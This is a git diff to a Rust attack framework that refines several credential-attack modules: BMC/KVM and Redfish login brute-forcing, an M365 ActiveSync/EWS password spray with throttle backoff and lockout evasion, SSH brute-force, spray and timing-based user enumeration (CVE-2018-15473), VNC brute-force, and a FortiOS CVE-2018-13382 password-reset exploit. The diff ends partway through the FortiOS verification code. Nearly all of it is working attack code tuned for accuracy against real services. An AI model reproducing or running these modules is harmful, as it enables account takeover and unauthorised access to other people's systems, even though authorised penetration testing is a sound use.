diff --git a/src/modules/creds/generic/h3c_oem_kvm_bruteforce.rs b/src/modules/creds/generic/h3c_oem_kvm_bruteforce.rs index 0b3c2f7..58e1723 100644 --- a/src/modules/creds/generic/h3c_oem_kvm_bruteforce.rs +++ b/src/modules/creds/generic/h3c_oem_kvm_bruteforce.rs @@ -388,17 +388,29 @@ async fn try_login( // 401/403/etc. — a definitive authentication rejection. return AttemptResult::Denied; } + // Capture the token from the response HEADER before consuming the body — + // Redfish-style BMCs return X-Auth-Token as a header, not (only) in the JSON. + let header_token = match resp.headers().get("X-Auth-Token").map(|v| v.to_str()) { + Some(Ok(s)) if !s.is_empty() => Some(s.to_string()), + Some(Err(e)) => { + tracing::debug!("X-Auth-Token header not UTF-8: {e}"); + None + } + _ => None, + }; let body = match crate::utils::network::read_http_body_text_capped(resp, crate::utils::safe_io::DEFAULT_BODY_CAP).await { Ok(b) => b, // Body read failed mid-stream: transient, not a denial. Err(e) => return AttemptResult::Transient(format!("read body: {e}")), }; - if !body.contains("X-Auth-Token") { - return AttemptResult::Denied; + // Require an actual token VALUE (header or parsed from the body). The old check + // accepted the bare field NAME "X-Auth-Token" appearing anywhere in the body + // and fell back to a "(present)" placeholder — both could store a + // non-credential lifted from an error page. + match header_token.or_else(|| extract_token(&body)) { + Some(tok) if !tok.is_empty() => AttemptResult::Hit(tok), + _ => AttemptResult::Denied, } - // Surface the token if we can extract it; otherwise mark hit with a - // placeholder so the caller still records the credential. - AttemptResult::Hit(extract_token(&body).unwrap_or_else(|| "(present)".into())) } fn extract_token(body: &str) -> Option { diff --git a/src/modules/creds/generic/h3c_redfish_session_spray.rs b/src/modules/creds/generic/h3c_redfish_session_spray.rs index b72db2a..c1283d3 100644 --- a/src/modules/creds/generic/h3c_redfish_session_spray.rs +++ b/src/modules/creds/generic/h3c_redfish_session_spray.rs @@ -382,14 +382,20 @@ async fn try_login( match status { 201 => { - // Success — extract X-Auth-Token from response headers. - let token = resp - .headers() - .get("X-Auth-Token") - .and_then(|v| v.to_str().ok()) - .map(|s| s.to_string()) - .unwrap_or_else(|| "(header-missing)".to_string()); - LoginResult::Success(token) + // A genuine Redfish session-create returns 201 + X-Auth-Token. Without + // that header it is NOT a usable session — don't store a credential on + // a bare 201 (e.g. from a proxy/load-balancer). Previously a missing + // token was stored as the literal "(header-missing)". + match resp.headers().get("X-Auth-Token").map(|v| v.to_str()) { + Some(Ok(tok)) if !tok.is_empty() => LoginResult::Success(tok.to_string()), + Some(Err(e)) => { + tracing::debug!("X-Auth-Token header not UTF-8: {e}"); + LoginResult::Error("X-Auth-Token header not readable".to_string()) + } + _ => LoginResult::Error( + "201 Created without X-Auth-Token — not a valid session".to_string(), + ), + } } 429 => { let wait = resp @@ -401,7 +407,10 @@ async fn try_login( .min(60); LoginResult::RateLimited(wait) } - 401 | 403 => LoginResult::Denied, + // Definitive negatives from a responding BMC (incl. 400/404/422 for a + // malformed/missing-endpoint login) — Denied, not Error, so per-account + // lockout tracking stays correct. + 400 | 401 | 403 | 404 | 422 => LoginResult::Denied, _ => LoginResult::Error(format!("unexpected HTTP {}", status)), } } diff --git a/src/modules/creds/generic/m365_activesync_spray.rs b/src/modules/creds/generic/m365_activesync_spray.rs index 5ab9f3e..f348490 100644 --- a/src/modules/creds/generic/m365_activesync_spray.rs +++ b/src/modules/creds/generic/m365_activesync_spray.rs @@ -148,6 +148,44 @@ fn classify_http_response(status: u16, diag: &Option) -> &'static str { } } +/// Decide whether a response proves the PASSWORD is correct — even when another +/// control blocks the sign-in (MFA, expired, disabled). Azure AD returns 401 with +/// an ESTS error code in `X-MS-Diagnostics`; several of those codes mean the +/// password was right (MSOLSpray semantics). Keying success only on HTTP 200 +/// missed every valid-but-flagged account. Returns Some(reason) if valid. +fn credential_is_valid(status: u16, diag: &Option) -> Option<&'static str> { + if status == 200 { + return Some("valid credentials (full access)"); + } + let d = diag.as_deref()?; + if d.contains("50126") { + // AADSTS50126: invalid username or password — the one true negative. + None + } else if d.contains("50055") { + Some("valid credentials — password expired") + } else if d.contains("50057") { + Some("valid credentials — account disabled") + } else if d.contains("50079") || d.contains("50076") || d.contains("50074") || d.contains("53004") { + Some("valid credentials — MFA required") + } else if d.contains("50158") { + Some("valid credentials — external security challenge (conditional access)") + } else { + None + } +} + +/// True when Azure AD is throttling us (HTTP 429/503 or an ESTS throttle code), +/// so the spray can back off instead of hammering through false negatives. +fn is_throttled(status: u16, diag: &Option) -> bool { + if status == 429 || status == 503 { + return true; + } + match diag.as_deref() { + Some(d) => d.contains("90033") || d.to_lowercase().contains("throttle"), + None => false, + } +} + // ============================================================================ // SMTP Spray Logic // ============================================================================ @@ -475,6 +513,9 @@ pub async fn run(ctx: &ModuleCtx) -> Result { // Spray this password across all users with concurrency control let semaphore = std::sync::Arc::new(tokio::sync::Semaphore::new(concurrency)); + // Set by any worker that sees Azure AD throttling, so we back off before + // the next password round instead of hammering through false negatives. + let throttled = std::sync::Arc::new(std::sync::atomic::AtomicBool::new(false)); let mut handles = Vec::new(); for user in &users { @@ -483,6 +524,7 @@ pub async fn run(ctx: &ModuleCtx) -> Result { } let sem = semaphore.clone(); + let throttled = throttled.clone(); let client = client.clone(); let user = user.clone(); let password = password.clone(); @@ -497,23 +539,29 @@ pub async fn run(ctx: &ModuleCtx) -> Result { if mode == SprayMode::ActiveSync || mode == SprayMode::All { match try_http_basic(&client, ACTIVESYNC_URL, &user, &password).await { Ok((status, diag)) => { - let detail = classify_http_response(status, &diag); - if status == 200 { - round_hits.push(SprayHit { - username: user.clone(), - password: password.clone(), - endpoint: "ActiveSync".to_string(), - status, - detail: detail.to_string(), - }); - } else if verbose { - crate::mprintln!( - " [{}] {} @ ActiveSync: {} ({})", - status, - user, - detail, - diag.clone().unwrap_or_default() - ); + if is_throttled(status, &diag) { + throttled.store(true, std::sync::atomic::Ordering::Relaxed); + } + match credential_is_valid(status, &diag) { + Some(reason) => { + round_hits.push(SprayHit { + username: user.clone(), + password: password.clone(), + endpoint: "ActiveSync".to_string(), + status, + detail: reason.to_string(), + }); + } + None if verbose => { + crate::mprintln!( + " [{}] {} @ ActiveSync: {} ({})", + status, + user, + classify_http_response(status, &diag), + diag.clone().unwrap_or_default() + ); + } + None => {} } // Warn on lockout/block if status == 403 || status == 456 { @@ -522,7 +570,7 @@ pub async fn run(ctx: &ModuleCtx) -> Result { format!( "[!] {} - {} ({})", user, - detail, + classify_http_response(status, &diag), diag.unwrap_or_default() ) .yellow() @@ -545,23 +593,29 @@ pub async fn run(ctx: &ModuleCtx) -> Result { if mode == SprayMode::Ews || mode == SprayMode::All { match try_http_basic(&client, EWS_URL, &user, &password).await { Ok((status, diag)) => { - let detail = classify_http_response(status, &diag); - if status == 200 { - round_hits.push(SprayHit { - username: user.clone(), - password: password.clone(), - endpoint: "EWS".to_string(), - status, - detail: detail.to_string(), - }); - } else if verbose { - crate::mprintln!( - " [{}] {} @ EWS: {} ({})", - status, - user, - detail, - diag.clone().unwrap_or_default() - ); + if is_throttled(status, &diag) { + throttled.store(true, std::sync::atomic::Ordering::Relaxed); + } + match credential_is_valid(status, &diag) { + Some(reason) => { + round_hits.push(SprayHit { + username: user.clone(), + password: password.clone(), + endpoint: "EWS".to_string(), + status, + detail: reason.to_string(), + }); + } + None if verbose => { + crate::mprintln!( + " [{}] {} @ EWS: {} ({})", + status, + user, + classify_http_response(status, &diag), + diag.clone().unwrap_or_default() + ); + } + None => {} } if status == 403 || status == 456 { crate::mprintln!( @@ -569,7 +623,7 @@ pub async fn run(ctx: &ModuleCtx) -> Result { format!( "[!] {} - {} ({})", user, - detail, + classify_http_response(status, &diag), diag.unwrap_or_default() ) .yellow() @@ -658,6 +712,15 @@ pub async fn run(ctx: &ModuleCtx) -> Result { } } + // Back off if Azure AD throttled us this round (429/503/ESTS throttle). + if throttled.load(std::sync::atomic::Ordering::Relaxed) && round_idx + 1 < total_rounds { + crate::mprintln!( + "{}", + "[!] Throttling detected — backing off 60s before the next password round".yellow() + ); + tokio::time::sleep(Duration::from_secs(60)).await; + } + // Delay between rounds (lockout evasion) if round_idx + 1 < total_rounds && delay_secs > 0 { crate::mprintln!( diff --git a/src/modules/creds/generic/ssh_bruteforce.rs b/src/modules/creds/generic/ssh_bruteforce.rs index 775e324..6d1131c 100644 --- a/src/modules/creds/generic/ssh_bruteforce.rs +++ b/src/modules/creds/generic/ssh_bruteforce.rs @@ -443,8 +443,17 @@ async fn try_ssh_login( let authed = match sess.userauth_password(&user_owned, &pass_owned) { Ok(_) => sess.authenticated(), Err(e) => { - tracing::trace!("SSH auth rejected: {e}"); - false + // Only a genuine auth REJECTION is a definitive Ok(false). + // Transport/method errors (socket recv/send, timeout, KEX, + // "method not supported") must propagate so the engine retries + // instead of recording a possibly-valid password as "wrong". + if is_ssh_auth_rejection(&e) { + tracing::trace!("SSH auth rejected: {e}"); + false + } else { + if let Err(d) = sess.disconnect(None, "", None) { tracing::trace!("SSH disconnect: {d}"); } + return Err(anyhow!("SSH auth transport error: {e}")); + } } }; @@ -459,4 +468,17 @@ async fn try_ssh_login( join_result.context("Join error")? } +/// True only for a genuine SSH authentication rejection (a wrong password), +/// which is a definitive negative. libssh2 surfaces this as +/// LIBSSH2_ERROR_AUTHENTICATION_FAILED (-18) or PUBLICKEY_UNVERIFIED (-19); +/// every other code (socket recv/send -7/-43, timeout -30, disconnect -13, +/// method-not-supported -12, KEX failures, …) is a transport/negotiation fault +/// that should be retried, not recorded as a wrong credential. +fn is_ssh_auth_rejection(e: &ssh2::Error) -> bool { + matches!( + e.code(), + ssh2::ErrorCode::Session(-18) | ssh2::ErrorCode::Session(-19) + ) +} + crate::register_native_module!(crate::module::Category::Creds, "generic/ssh_bruteforce", native); diff --git a/src/modules/creds/generic/ssh_spray.rs b/src/modules/creds/generic/ssh_spray.rs index 41d4ec9..b306b43 100644 --- a/src/modules/creds/generic/ssh_spray.rs +++ b/src/modules/creds/generic/ssh_spray.rs @@ -145,26 +145,67 @@ pub struct SprayResult { /// Try SSH authentication fn try_ssh_auth(host: &str, port: u16, username: &str, password: &str, timeout_secs: u64) -> Result { - let addr = format!("{}:{}", host, port); - + // Resolve hostnames too — `"host:port".parse::()` only accepts + // IP literals, so a hostname target previously errored out and never sprayed. + let socket_addr = resolve_socket_addr(host, port)?; + let tcp = crate::utils::blocking_tcp_connect( - &addr.parse()?, + &socket_addr, Duration::from_secs(timeout_secs), )?; - + tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)))?; tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)))?; - + let mut sess = Session::new()?; sess.set_tcp_stream(tcp); sess.handshake()?; - + match sess.userauth_password(username, password) { Ok(_) => Ok(sess.authenticated()), - Err(e) => { tracing::debug!("SSH auth failed: {e}"); Ok(false) } + Err(e) => { + // Only a genuine auth rejection (libssh2 -18/-19) is a clean Ok(false). + // Transport/method errors propagate so the caller's retry loop engages + // rather than recording a possibly-valid password as "wrong". + if is_ssh_auth_rejection(&e) { + tracing::debug!("SSH auth rejected: {e}"); + Ok(false) + } else { + Err(anyhow!("SSH auth transport error: {e}")) + } + } } } +/// Resolve `host:port` to a `SocketAddr`, accepting both IP literals and +/// hostnames (the latter via DNS). +fn resolve_socket_addr(host: &str, port: u16) -> Result { + use std::net::ToSocketAddrs; + let hostport = format!("{host}:{port}"); + match hostport.parse::() { + Ok(sa) => Ok(sa), + Err(parse_err) => { + tracing::trace!("{hostport} not an IP literal ({parse_err}); resolving via DNS"); + let mut addrs = hostport + .to_socket_addrs() + .with_context(|| format!("resolve {hostport}"))?; + addrs + .next() + .ok_or_else(|| anyhow!("no addresses resolved for {hostport}")) + } + } +} + +/// True only for a genuine SSH auth rejection — libssh2 +/// LIBSSH2_ERROR_AUTHENTICATION_FAILED (-18) / PUBLICKEY_UNVERIFIED (-19). Every +/// other code is a transport/negotiation fault to be retried, not a wrong cred. +fn is_ssh_auth_rejection(e: &ssh2::Error) -> bool { + matches!( + e.code(), + ssh2::ErrorCode::Session(-18) | ssh2::ErrorCode::Session(-19) + ) +} + /// Parse targets from string (CIDR, range, single IP) fn parse_targets(spec: &str, port: u16) -> Vec<(String, u16)> { let mut targets = Vec::new(); diff --git a/src/modules/creds/generic/ssh_user_enum.rs b/src/modules/creds/generic/ssh_user_enum.rs index 6f489f0..ccd3f50 100644 --- a/src/modules/creds/generic/ssh_user_enum.rs +++ b/src/modules/creds/generic/ssh_user_enum.rs @@ -30,8 +30,20 @@ pub fn info() -> crate::module_info::ModuleInfo { const DEFAULT_SSH_PORT: u16 = 22; const DEFAULT_TIMEOUT_SECS: u64 = 10; -const DEFAULT_SAMPLES: usize = 3; -const TIMING_THRESHOLD: f64 = 0.3; // 300ms difference threshold +const DEFAULT_SAMPLES: usize = 5; +/// Cutoff in BASELINE STANDARD DEVIATIONS (not seconds): a username is flagged +/// when its median auth time exceeds baseline_mean + THRESHOLD*stddev. A fixed +/// 300 ms absolute threshold was all-valid on a WAN and all-invalid on a LAN. +const TIMING_THRESHOLD: f64 = 3.0; +/// Baseline needs more samples than a per-user run for a stable mean + stddev. +const BASELINE_SAMPLES: usize = 12; +/// Absolute floor (seconds) added to the sigma cutoff so a near-zero baseline +/// stddev on a quiet LAN can't produce a hair-trigger that flags every user. +const MIN_ABS_DELTA: f64 = 0.02; +/// CVE-2018-15473 timing relies on the server running its password KDF only for +/// VALID users; a long password makes that work dominate the measured time while +/// invalid users are rejected cheaply, amplifying the signal. +const PROBE_PASSWORD_LEN: usize = 40_000; fn display_banner() { if crate::utils::is_batch_mode() { return; } @@ -90,8 +102,6 @@ fn normalize_target(target: &str) -> String { fn time_auth_attempt(host: &str, port: u16, username: &str, timeout_secs: u64) -> Option { let addr = format!("{}:{}", host, port); - let start = Instant::now(); - let tcp = match crate::utils::blocking_tcp_connect( &addr.parse().ok()?, Duration::from_secs(timeout_secs), @@ -120,30 +130,27 @@ fn time_auth_attempt(host: &str, port: u16, username: &str, timeout_secs: u64) - return None; } - // Try authentication with invalid password - let invalid_password = format!( - "invalid_{}_{}", - std::process::id(), - start.elapsed().as_nanos() - ); - if let Err(e) = sess.userauth_password(username, &invalid_password) { + // Time ONLY the auth exchange. Starting the clock before connect/KEX/DH + // keygen (as before) swamped the auth-decision delta with network + handshake + // noise. The long password makes the server's KDF — run only for VALID users + // on vulnerable OpenSSH — dominate the measurement. + let probe_password = "A".repeat(PROBE_PASSWORD_LEN); + let start = Instant::now(); + if let Err(e) = sess.userauth_password(username, &probe_password) { tracing::trace!("Auth attempt for '{}' returned error (expected): {}", username, e); } - - let elapsed = start.elapsed().as_secs_f64(); - Some(elapsed) + Some(start.elapsed().as_secs_f64()) } -/// Sample authentication timing for a username -fn sample_auth_timing( +/// Collect raw per-attempt auth timings for a username (empty if unreachable). +fn collect_samples( host: &str, port: u16, username: &str, samples: usize, timeout_secs: u64, -) -> Option { +) -> Vec { let mut times = Vec::new(); - for _ in 0..samples { if let Some(t) = time_auth_attempt(host, port, username, timeout_secs) { times.push(t); @@ -151,13 +158,38 @@ fn sample_auth_timing( // Small delay between samples std::thread::sleep(Duration::from_millis(100)); } + times +} - if times.is_empty() { - return None; +fn mean(xs: &[f64]) -> f64 { + if xs.is_empty() { + return 0.0; } + xs.iter().sum::() / xs.len() as f64 +} - // Return average - Some(times.iter().sum::() / times.len() as f64) +/// Sample standard deviation (n-1). Zero for fewer than two samples. +fn stddev(xs: &[f64], mean: f64) -> f64 { + if xs.len() < 2 { + return 0.0; + } + let var = xs.iter().map(|x| (x - mean).powi(2)).sum::() / (xs.len() as f64 - 1.0); + var.sqrt() +} + +/// Median — robust to the occasional GC/scheduler outlier that skews a mean. +fn median(xs: &[f64]) -> f64 { + if xs.is_empty() { + return 0.0; + } + let mut s = xs.to_vec(); + s.sort_by(|a, b| a.partial_cmp(b).unwrap_or(std::cmp::Ordering::Equal)); + let mid = s.len() / 2; + if s.len() % 2 == 1 { + s[mid] + } else { + (s[mid - 1] + s[mid]) / 2.0 + } } /// Load usernames from file @@ -202,7 +234,7 @@ pub async fn enumerate_users( ); crate::mprintln!( "{}", - format!("[*] Timing threshold: {:.3}s", threshold).cyan() + format!("[*] Detection cutoff: {:.1} sigma above baseline", threshold).cyan() ); crate::mprintln!(); @@ -241,19 +273,32 @@ fn enumerate_users_blocking( ); crate::mprintln!("{}", "[*] Establishing baseline timing...".cyan()); - let baseline = match sample_auth_timing(host, port, &baseline_user, samples, timeout_secs) { - Some(t) => { - crate::mprintln!("{}", format!("[*] Baseline timing: {:.3}s", t).cyan()); - t - } - None => { - crate::mprintln!( - "{}", - "[-] Failed to establish baseline - cannot reach target".red() - ); - return Vec::new(); - } - }; + // Baseline from MANY invalid-user samples → mean + stddev for a statistical + // (not fixed-millisecond) cutoff. + let baseline_samples = + collect_samples(host, port, &baseline_user, samples.max(BASELINE_SAMPLES), timeout_secs); + if baseline_samples.is_empty() { + crate::mprintln!( + "{}", + "[-] Failed to establish baseline - cannot reach target".red() + ); + return Vec::new(); + } + let baseline_mean = mean(&baseline_samples); + let baseline_sd = stddev(&baseline_samples, baseline_mean); + // One-sided cutoff: valid users are SLOWER (the server runs its KDF), so we + // flag only medians ABOVE the cutoff — the old `diff.abs()` also flagged + // faster-than-baseline users, which is backwards. `threshold` is a sigma + // multiplier; MIN_ABS_DELTA floors it when the baseline stddev is ~0. + let cutoff = baseline_mean + (threshold * baseline_sd).max(MIN_ABS_DELTA); + crate::mprintln!( + "{}", + format!( + "[*] Baseline: mean {:.3}s, stddev {:.3}s → cutoff {:.3}s", + baseline_mean, baseline_sd, cutoff + ) + .cyan() + ); crate::mprintln!(); crate::mprintln!("{}", "[*] Testing usernames...".cyan()); @@ -269,20 +314,23 @@ fn enumerate_users_blocking( ); if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { eprintln!("[!] Flush failed: {}", e); } - match sample_auth_timing(host, port, user, samples, timeout_secs) { - Some(t) => { - let diff = t - baseline; - if diff.abs() > threshold { - crate::mprintln!( - "\r{}", - format!("[+] Valid user: {} (timing diff: {:+.3}s)", user, diff).green() - ); - valid_users.push(user.clone()); - } - } - None => { - // Connection failed, skip - } + let user_samples = collect_samples(host, port, user, samples, timeout_secs); + if user_samples.is_empty() { + continue; // unreachable this round — skip + } + let user_median = median(&user_samples); + if user_median > cutoff { + crate::mprintln!( + "\r{}", + format!( + "[+] Valid user: {} (median {:.3}s, +{:.3}s over baseline)", + user, + user_median, + user_median - baseline_mean + ) + .green() + ); + valid_users.push(user.clone()); } } @@ -329,7 +377,7 @@ pub async fn run(ctx: &ModuleCtx) -> Result { .await? .parse() .unwrap_or(DEFAULT_SSH_PORT); - let samples: usize = cfg_prompt_default("samples", "Samples per username", "3") + let samples: usize = cfg_prompt_default("samples", "Samples per username", "5") .await? .parse() .unwrap_or(DEFAULT_SAMPLES); @@ -337,7 +385,7 @@ pub async fn run(ctx: &ModuleCtx) -> Result { .await? .parse() .unwrap_or(DEFAULT_TIMEOUT_SECS); - let threshold: f64 = cfg_prompt_default("threshold", "Timing threshold (seconds)", "0.3") + let threshold: f64 = cfg_prompt_default("threshold", "Detection cutoff (baseline std-devs)", "3.0") .await? .parse() .unwrap_or(TIMING_THRESHOLD); diff --git a/src/modules/creds/generic/vnc_bruteforce.rs b/src/modules/creds/generic/vnc_bruteforce.rs index 1f9ad95..9ff94a4 100644 --- a/src/modules/creds/generic/vnc_bruteforce.rs +++ b/src/modules/creds/generic/vnc_bruteforce.rs @@ -92,51 +92,90 @@ async fn probe(host: &str, port: u16, pass: &str, timeout: Duration) -> LoginRes retryable: false, }; } - if let Err(e) = stream.write_all(b"RFB 003.008\n").await { + // Reply with min(server, 3.8) floored at 3.3 — NOT a hardcoded 003.008. + // Forcing 3.8 against a 3.3-only server desyncs the stream: the security + // negotiation differs by version, and a misaligned 4-byte SecurityResult read + // of 0x00000000 was reported as a (false-positive) Success. + let nego_minor = rfb_minor(&banner).clamp(3, 8); + let reply = format!("RFB 003.{nego_minor:03}\n"); + if let Err(e) = stream.write_all(reply.as_bytes()).await { return LoginResult::Error { message: format!("write banner: {e}"), retryable: true, }; } - // Server: 1-byte security-type count, then count bytes of types. - let mut nsec = [0u8; 1]; - if let Err(e) = - crate::utils::creds_helper::read_exact_with_timeout(&mut stream, &mut nsec, timeout).await - { - return LoginResult::Error { - message: format!("read sec count: {e}"), - retryable: true, - }; - } - if nsec[0] == 0 { - // Failure reason follows (4-byte len + string). Treat as auth fail. - return LoginResult::AuthFailed; - } - let mut sec_types = vec![0u8; nsec[0] as usize]; - if let Err(e) = crate::utils::creds_helper::read_exact_with_timeout( - &mut stream, - &mut sec_types, - timeout, - ) - .await - { - return LoginResult::Error { - message: format!("read sec types: {e}"), - retryable: true, - }; - } - if !sec_types.contains(&2u8) { - return LoginResult::Error { - message: "server doesn't offer VNC auth (type 2)".to_string(), - retryable: false, - }; - } - if let Err(e) = stream.write_all(&[2u8]).await { - return LoginResult::Error { - message: format!("write sec choice: {e}"), - retryable: true, - }; + // Security-type negotiation differs by RFB version. + if nego_minor >= 7 { + // RFB 3.7/3.8: 1-byte count, then `count` type bytes; client selects one. + let mut nsec = [0u8; 1]; + if let Err(e) = + crate::utils::creds_helper::read_exact_with_timeout(&mut stream, &mut nsec, timeout).await + { + return LoginResult::Error { + message: format!("read sec count: {e}"), + retryable: true, + }; + } + if nsec[0] == 0 { + // Failure reason follows (4-byte len + string). Definitive rejection. + return LoginResult::AuthFailed; + } + let mut sec_types = vec![0u8; nsec[0] as usize]; + if let Err(e) = crate::utils::creds_helper::read_exact_with_timeout( + &mut stream, + &mut sec_types, + timeout, + ) + .await + { + return LoginResult::Error { + message: format!("read sec types: {e}"), + retryable: true, + }; + } + if !sec_types.contains(&2u8) { + let msg = if sec_types.contains(&1u8) { + "VNC requires no authentication (open access)".to_string() + } else { + format!("server doesn't offer VNC auth (type 2); offered {sec_types:?}") + }; + return LoginResult::Error { message: msg, retryable: false }; + } + if let Err(e) = stream.write_all(&[2u8]).await { + return LoginResult::Error { + message: format!("write sec choice: {e}"), + retryable: true, + }; + } + } else { + // RFB 3.3: server dictates a SINGLE 4-byte security type — no client + // selection. The challenge (for type 2) follows directly. + let mut sec = [0u8; 4]; + if let Err(e) = + crate::utils::creds_helper::read_exact_with_timeout(&mut stream, &mut sec, timeout).await + { + return LoginResult::Error { + message: format!("read sec type: {e}"), + retryable: true, + }; + } + match u32::from_be_bytes(sec) { + 2 => {} // VNC auth — fall through to the challenge below. + 1 => { + return LoginResult::Error { + message: "VNC requires no authentication (open access)".to_string(), + retryable: false, + } + } + 0 => return LoginResult::AuthFailed, // invalid/refused; reason follows + other => { + return LoginResult::Error { + message: format!("unexpected RFB 3.3 security type {other}"), + retryable: false, + } + } + } } // 16-byte challenge. @@ -216,4 +255,16 @@ async fn probe(host: &str, port: u16, pass: &str, timeout: Duration) -> LoginRes } } +/// Parse the minor version from an `RFB 003.008\n` banner (digits at [8..11]). +/// Falls back to 8 (the newest we speak) on any malformed banner. +fn rfb_minor(banner: &[u8; 12]) -> u32 { + match std::str::from_utf8(&banner[8..11]) { + Ok(s) => s.trim().parse::().unwrap_or(8), + Err(e) => { + tracing::debug!("RFB banner minor not UTF-8: {e}"); + 8 + } + } +} + crate::register_native_module!(crate::module::Category::Creds, "generic/vnc_bruteforce", native); diff --git a/src/modules/exploits/network_infra/fortinet/fortios_magic_token_cve_2018_13382.rs b/src/modules/exploits/network_infra/fortinet/fortios_magic_token_cve_2018_13382.rs index 0ce0fa4..4930957 100644 --- a/src/modules/exploits/network_infra/fortinet/fortios_magic_token_cve_2018_13382.rs +++ b/src/modules/exploits/network_infra/fortinet/fortios_magic_token_cve_2018_13382.rs @@ -97,15 +97,21 @@ pub async fn run(ctx: &ModuleCtx) -> Result { .await .context("Failed to reach target - is the host up?")?; let probe_status = probe.status(); - let probe_body = crate::utils::network::read_http_body_text_capped(probe, crate::utils::safe_io::DEFAULT_BODY_CAP).await.unwrap_or_default(); + let probe_body = match crate::utils::network::read_http_body_text_capped(probe, crate::utils::safe_io::DEFAULT_BODY_CAP).await { + Ok(b) => b, + Err(e) => { + crate::meprintln!("{} Could not read fingerprint response body: {}", "[-]".yellow(), e); + String::new() + } + }; + // Require an actual FortiOS indicator in the body — a bare 200/401 made almost + // any HTTPS host look like a FortiGate. let is_fortigate = probe_body.contains("FortiGate") || probe_body.contains("fgt_lang") || probe_body.contains("sslvpn") || probe_body.contains("fortinet") - || probe_body.contains("remote/login") - || probe_status.as_u16() == 200 - || probe_status.as_u16() == 401; + || probe_body.contains("remote/login"); if !is_fortigate && probe_status.as_u16() == 404 { crate::mprintln!("{} SSL VPN login endpoint not found (HTTP {}). Target may not have SSL VPN enabled.", "[-]".red(), probe_status); @@ -119,7 +125,13 @@ pub async fn run(ctx: &ModuleCtx) -> Result { match client.get(&info_url).header("User-Agent", "Mozilla/5.0").send().await { Ok(resp) => { let info_status = resp.status(); - let info_body = crate::utils::network::read_http_body_text_capped(resp, crate::utils::safe_io::DEFAULT_BODY_CAP).await.unwrap_or_default(); + let info_body = match crate::utils::network::read_http_body_text_capped(resp, crate::utils::safe_io::DEFAULT_BODY_CAP).await { + Ok(b) => b, + Err(e) => { + crate::meprintln!("{} Could not read /remote/info body: {}", "[-]".yellow(), e); + String::new() + } + }; if info_body.contains("encmethod") || info_body.contains("salt") || info_body.contains("sso_port") { crate::mprintln!("{} /remote/info reveals FortiOS indicators (encmethod/salt/sso_port)", "[+]".green()); outcome.findings.push(Finding { @@ -204,17 +216,6 @@ pub async fn run(ctx: &ModuleCtx) -> Result { let result = attempt_magic_reset(&client, &base_url, username, &new_password).await; match result { - ResetResult::Success => { - crate::mprintln!( - "{} [{}/{}] {} - {} (VPN group member, password reset!)", - "[+]".green().bold(), - idx + 1, - usernames.len(), - username, - "VULNERABLE".green().bold() - ); - vpn_members.push(username.clone()); - } ResetResult::NotInVpnGroup => { crate::mprintln!( "{} [{}/{}] {} - Valid user, NOT in VPN portal group", @@ -235,16 +236,6 @@ pub async fn run(ctx: &ModuleCtx) -> Result { ); invalid_users.push(username.clone()); } - ResetResult::Patched => { - crate::mprintln!( - "{} [{}/{}] {} - Target appears patched or magic token rejected", - "[-]".red(), - idx + 1, - usernames.len(), - username - ); - errors.push(username.clone()); - } ResetResult::Error(e) => { crate::mprintln!( "{} [{}/{}] {} - Error: {}", @@ -256,6 +247,47 @@ pub async fn run(ctx: &ModuleCtx) -> Result { ); errors.push(username.clone()); } + ResetResult::Success | ResetResult::Patched => { + // Inconclusive on the reset response alone — confirm with a login + // using the new password before counting this as a real reset. + // A patched host fails this for every user (→ no false-positive + // Vulnerable findings); a vulnerable host's real resets confirm. + ctx.rate_limit(&target_ip).await; + match verify_login(&client, &base_url, username, &new_password).await { + LoginResult::Success => { + crate::mprintln!( + "{} [{}/{}] {} - {} (VPN member, reset CONFIRMED by login)", + "[+]".green().bold(), + idx + 1, + usernames.len(), + username, + "VULNERABLE".green().bold() + ); + vpn_members.push(username.clone()); + } + LoginResult::Failed(_) => { + crate::mprintln!( + "{} [{}/{}] {} - reset not confirmed (patched / not a resettable VPN member)", + "[-]".red(), + idx + 1, + usernames.len(), + username + ); + errors.push(username.clone()); + } + LoginResult::Error(e) => { + crate::mprintln!( + "{} [{}/{}] {} - verify error: {}", + "[-]".red(), + idx + 1, + usernames.len(), + username, + e + ); + errors.push(username.clone()); + } + } + } } } @@ -346,56 +378,12 @@ pub async fn run(ctx: &ModuleCtx) -> Result { let result = attempt_magic_reset(&client, &base_url, &username, &new_password).await; match result { - ResetResult::Success => { + ResetResult::UserNotFound => { crate::mprintln!( - "{} Password reset SUCCESSFUL for user '{}'!", - "[+]".green().bold(), + "{} User '{}' was not found on the target.", + "[-]".red(), username ); - crate::mprintln!("{} New password: {}", "[+]".green(), new_password); - - // Phase 3: Verify reset by attempting login - crate::mprintln!("\n{} Phase 3: Verifying reset by attempting login...", "[*]".blue()); - ctx.rate_limit(&target_ip).await; - let verify = verify_login(&client, &base_url, &username, &new_password).await; - match verify { - LoginResult::Success => { - crate::mprintln!( - "{} Login with new credentials CONFIRMED!", - "[+]".green().bold() - ); - } - LoginResult::Failed(reason) => { - crate::mprintln!( - "{} Login verification inconclusive: {}", - "[*]".yellow(), - reason - ); - crate::mprintln!( - "{} Password was likely reset but login may require additional factors.", - "[*]".yellow() - ); - } - LoginResult::Error(e) => { - crate::mprintln!("{} Login verification error: {}", "[-]".red(), e); - } - } - - outcome.findings.push(Finding { - target: target_ip.clone(), - kind: FindingKind::Vulnerable, - message: format!( - "CVE-2018-13382: Password reset succeeded for VPN user '{}' via magic token", - username - ), - data: Some(serde_json::json!({ - "cve": "CVE-2018-13382", - "username": username, - "magic_value": MAGIC_VALUE, - "new_password": new_password, - "endpoint": format!("{}/remote/logincheck", base_url.trim_end_matches('/')), - })), - }); } ResetResult::NotInVpnGroup => { crate::mprintln!( @@ -421,22 +409,53 @@ pub async fn run(ctx: &ModuleCtx) -> Result { })), }); } - ResetResult::UserNotFound => { - crate::mprintln!( - "{} User '{}' was not found on the target.", - "[-]".red(), - username - ); - } - ResetResult::Patched => { - crate::mprintln!( - "{} Target appears to be patched. Magic token was not accepted.", - "[-]".red() - ); - } ResetResult::Error(e) => { crate::mprintln!("{} Password reset attempt failed: {}", "[-]".red(), e); } + ResetResult::Success | ResetResult::Patched => { + // The reset response alone is NOT conclusive — a patched FortiGate + // returns the same ret=1/redir= login response. Confirm by logging + // in with the new password; emit the CVE Vulnerable finding ONLY on + // a real `ret=1` login. This is what stops patched hosts being + // falsely flagged as vulnerable. + crate::mprintln!("\n{} Phase 3: Verifying reset by logging in with the new password...", "[*]".blue()); + ctx.rate_limit(&target_ip).await; 